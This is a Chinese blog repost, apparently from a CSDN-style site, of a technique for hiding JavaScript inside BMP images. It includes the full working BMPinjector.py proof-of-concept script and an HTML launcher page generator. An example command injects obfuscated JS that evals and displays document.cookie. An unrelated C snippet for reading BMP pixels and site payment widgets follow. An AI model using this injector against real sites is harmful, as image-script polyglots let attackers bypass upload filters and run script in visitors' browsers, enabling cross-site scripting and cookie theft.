BMP图片中注入恶意JS代码

转至http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html(需翻墙

http://danqingdani.blog.163.com/blog/static/186094195201392303213948/ (中文翻译)

1. 将原BMP文件的第三,第四字节替换为\x2F\x2A, 对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小
2. 在BMP文件末尾添加
(1)\xFF
(2)\x2A\x2F,对应的js中的注释符号*/
(3)\x3D\x31\x3B,对应的=1;  是为了伪造成BMP格式
(4)定制的JS代码

BMPinjector.py 代码如下

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
								#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
								#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os

#---------------------------------------------------------
def _hexify(num):
	"""
	Converts and formats to hexadecimal
	"""
	num = "%x" % num
	if len(num) % 2:
		num = '0'+num
	return num.decode('hex')

#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
	"""
	Generates a fake but valid BMP within scriting
	"""
	f = open(fname, "wb")
	header = (b'\x42\x4D'  #Signature BM
						b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header 
						b'\x00\x00\x00\x00' #Reserved
						b'\x00\x00\x00\x00' #bitmap data offset
						b''+ _hexify( len(payload) ) + #bitmap header size
					  b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
						b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
					  b'\x00\x00' #nb_plan	
						b'\x00\x00' #nb per pixel
						b'\x00\x10\x00\x00' #compression type
						b'\x00\x00\x00\x00' #image size .. its ignored
						b'\x00\x00\x00\x01' #Horizontal resolution
						b'\x00\x00\x00\x01' #Vertial resolution
						b'\x00\x00\x00\x00' #number of colors
						b'\x00\x00\x00\x00' #number important colors
						b'\x00\x00\x00\x80' #palet colors to be complient
						b'\x00\x80\xff\x80' #palet colors to be complient
						b'\x80\x00\xff\x2A' #palet colors to be complient
						b'\x2F\x3D\x31\x3B' #*/=1;
						)
	# I made this explicit, step by step .
	f.write(header)
	f.write(payload)
	f.close()
	return True

#---------------------------------------------------------
def _generate_launching_page(f):
	"""
	Creates the HTML launching page
	"""

	htmlpage ="""
								<html>
								<head><title>Opening an image</title> </head>
								<body>
									<img src=\"""" + f + """\"\>
									<script src= \"""" + f + """\"> </script>
								</body>
								</html>
						"""
	html = open("run.html", "wb")
	html.write(htmlpage);
	html.close()
	return True

#---------------------------------------------------------
def _inject_into_file(payload, fname):
	"""
	Injects the payload into existing BMP
	NOTE: if the BMP contains \xFF\x2A might caouse issues
	"""
	# I know, I can do it all in memory and much more fast.
	# I wont do it here.
	f = open(fname, "r+b")
	b = f.read()
	b.replace(b'\x2A\x2F',b'\x00\x00')
	f.close()

	f = open(fname, "w+b")
	f.write(b)
	f.seek(2,0)
	f.write(b'\x2F\x2A')
	f.close()

	f = open(fname, "a+b")
	f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
	f.write(payload)
	f.close()
	return True


#---------------------------------------------------------
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("filename",help="the bmp file name to be generated/or infected")
	parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
	parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
	args = parser.parse_args()
	print("""
					|======================================================================================================|
					| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
					| It is the end user's responsibility to obey all applicable local, state and federal laws.            |
					| Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
					|======================================================================================================|
					""")
	if args.inject_to_existing_bmp:
		 _inject_into_file(args.js_payload, args.filename)
	else:
		_generate_and_write_to_file(args.js_payload, args.filename)
	
	_generate_launching_page(args.filename)
	print "[+] Finished!"


执行

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

效果如图





  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的示例代码,用于读取BMP图像的像素点: ```c #include <stdio.h> #include <stdlib.h> #pragma pack(1) // 按字节对齐 // BMP文件头 typedef struct { unsigned short bfType; unsigned int bfSize; unsigned short bfReserved1; unsigned short bfReserved2; unsigned int bfOffBits; } BMPFILEHEADER; // BMP信息头 typedef struct { unsigned int biSize; int biWidth; int biHeight; unsigned short biPlanes; unsigned short biBitCount; unsigned int biCompression; unsigned int biSizeImage; int biXPelsPerMeter; int biYPelsPerMeter; unsigned int biClrUsed; unsigned int biClrImportant; } BMPINFOHEADER; int main() { FILE *fp = fopen("test.bmp", "rb"); if (!fp) { printf("文件打开失败!\n"); return -1; } BMPFILEHEADER fileHeader; BMPINFOHEADER infoHeader; fread(&fileHeader, sizeof(BMPFILEHEADER), 1, fp); fread(&infoHeader, sizeof(BMPINFOHEADER), 1, fp); if (fileHeader.bfType != 0x4D42) { printf("不是BMP文件!\n"); fclose(fp); return -1; } if (infoHeader.biBitCount != 24) { printf("不支持的位数!\n"); fclose(fp); return -1; } int width = infoHeader.biWidth; int height = infoHeader.biHeight; int lineByte = (width * 24 + 31) / 32 * 4; // 每行像素的字节数 unsigned char *data = (unsigned char *)malloc(lineByte * height); fread(data, lineByte * height, 1, fp); fclose(fp); // 访问像素点 for (int i = 0; i < height; i++) { for (int j = 0; j < width; j++) { int index = i * lineByte + j * 3; unsigned char blue = data[index]; unsigned char green = data[index + 1]; unsigned char red = data[index + 2]; // 处理像素点数据 } } free(data); return 0; } ``` 此代码假定BMP图像的位数为24,即每个像素点由RGB三个分量组成。如果位数不为24,则需要根据实际情况修改代码

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值